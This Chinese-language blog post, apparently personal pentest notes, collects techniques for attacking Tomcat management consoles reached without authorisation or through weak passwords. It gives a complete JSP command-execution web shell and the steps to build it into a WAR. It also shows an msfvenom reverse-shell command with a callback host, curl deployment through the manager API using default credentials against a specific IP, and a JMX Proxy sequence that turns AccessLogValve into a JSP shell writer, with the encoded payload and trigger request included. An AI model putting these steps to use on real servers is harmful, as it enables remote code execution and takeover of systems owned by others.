Tomcat 后台利用手法总结

date
Jul 6, 2022
slug
tomcat-anonymous-attak
status
Published
tags
Java安全
渗透测试
summary
这个场景的利用前提都是未授权或者弱口令进入后台然后进行操作,最近看到了一些文章,主要是后面两种,学习一下
type
Post
  • 直接上传war包
    • 这个很常见了不多说,主要是手工创建war包需要记录一下:
      <FORM METHOD=GET ACTION='index.jsp'>
      <INPUT name='cmd' type=text>
      <INPUT type=submit value='Run'>
      </FORM>
      <%@ page import="java.io.*" %>
      <%
         String cmd = request.getParameter("cmd");
         String output = "";
         if(cmd != null) {
            String s = null;
            try {
               Process p = Runtime.getRuntime().exec(cmd,null,null);
               BufferedReader sI = new BufferedReader(new
      InputStreamReader(p.getInputStream()));
               while((s = sI.readLine()) != null) { output += s+"</br>"; }
            }  catch(IOException e) {   e.printStackTrace();   }
         }
      %>
      <pre><%=output %></pre>
      $ mkdir webshell
      $ cp index.jsp webshell
      $ cd webshell
      $ jar -cvf ../webshell.war *
      webshell.war is created
      也可以直接通过msf生成:
      msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war
      上传之后访问/revshell/ 即可
  • 通过API接口进行操作
    • 有个接口可以直接进行部署war包的操作
      curl --upload-file  webshell.war  -u 'tomcat:tomcat' "http://43.138.78.246:8080/manager/text/deploy?path=/monshell"
      notion image
      notion image
      同样的也可以把站点应用deploy下线
      curl "http://tomcat:[email protected]:8080/manager/text/undeploy?path=/monshell"
  • 通过JMX Proxy 进行操作
    • JMX是个啥?
      JMX让程序有被管理的功能,例如某Web网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值
      所以网上也有很多JMX 管理界面,可以观察到一些运行类的属性,FOFA Search :icon_hash="272128147”
      notion image
      而对于Tomcat而言,JMX的管理提供了一个接口,JMX Proxy ,一般接口给第三方平台分析和管理,可以通过这个接口去获取Tomcat的一些信息
      http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
      也可以修改某些属性:
      http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
    • set: 目标的BEANNAME(类似类名)
    • att: 目标的属性(类似类中的字段属性)
    • val: 需要修改的新值
    • 或者是触发函数:
      http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
      RCE的思路,就是配合之前Spring RCE的方式,修改Tomcat属性写shell文件,修改的是AccessLogValve属性
    • 修改日志格式为一句话:于是每条新日志都会变成一句话
      • /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69
        这里有一个细节:要求其中的val参数为全部的URL编码
        %{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
        开头和结尾的特殊符号从请求头的ps中获取
    • 修改日志后缀为:JSP
      • /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp
    • 修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)
      • /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell
    • 修改日志存储目录到可解析JSP的目录:webapps/ROOT
      • /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT
    • 修改日志文件名日期格式目的是:触发AccessLogValverotate功能
      • /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val=
    • 发送带有ps请求头的请求,成功写入一句话
      • GET / HTTP/1.1
        Host: 127.0.0.1:8080
        Connection: close
        p: <%
        s: %>//
      这个利用JMX的点,主要利用场景有两个:1. 未授权或者弱口令的Tomcat服务 2. 使用了第三方平台对JMX进行管理,也是对JMX没有进行授权操作的

© 4me 2021 - 2024